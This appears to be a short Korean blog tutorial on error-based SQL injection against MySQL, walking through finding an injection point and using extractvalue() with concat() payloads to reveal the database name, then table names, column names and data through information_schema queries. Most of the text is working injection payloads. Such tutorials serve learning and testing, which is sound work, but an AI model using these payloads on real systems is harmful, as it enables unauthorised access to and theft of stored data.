[SQL Injection] Error Based SQL Injection

2024. 6. 6. 16:50정보보안 및 해킹/웹 해킹

사용조건

500에러가 아닌 에러 메세지가 화면에 출력되는 경우

 

문법

Mysql에서는 extractvalue()라는 함수를 사용

extractvalue([xml문법],[찾을 표현식])

 

필수요소

찾을 표현식에는 xml표현식이 아닌 것이 들어가야 한다

 

PROCESS

 

1. SQL Injection Point 찾기

Error를 유발하기 위해 싱글 따옴표를 하나 더 넣어보거나 하는 등의 Error 유발 코드 삽입

 

2. Error를 출력하는 함수 선택

Mysql의 경우에는 extractvalue()

 

3. 공격 Format 제작

' and extractvalue('1',concat(0x3a,(________))) and '1'='1

 

4. DB 이름 출력

' and extractvalue('1',concat(0x3a,(SELECT Database()))) and '1'='1

 

5. TABLE 이름 출력

select table_name from information_schema.tables where table_schema='DB이름'

1개 이상의 행이라면 Limit을 사용하여 제한을 걸어준다.

select table_name from information_schema.tables where table_schema='DB이름' limit [index],[count]

 

6. COLUMN 이름 출력

select column_name from information_schema.columns where table_name='테이블이름' limit [index],[count]

 

7. DATA 추출

select [컬럼이름] from [테이블명] limit [index],[count]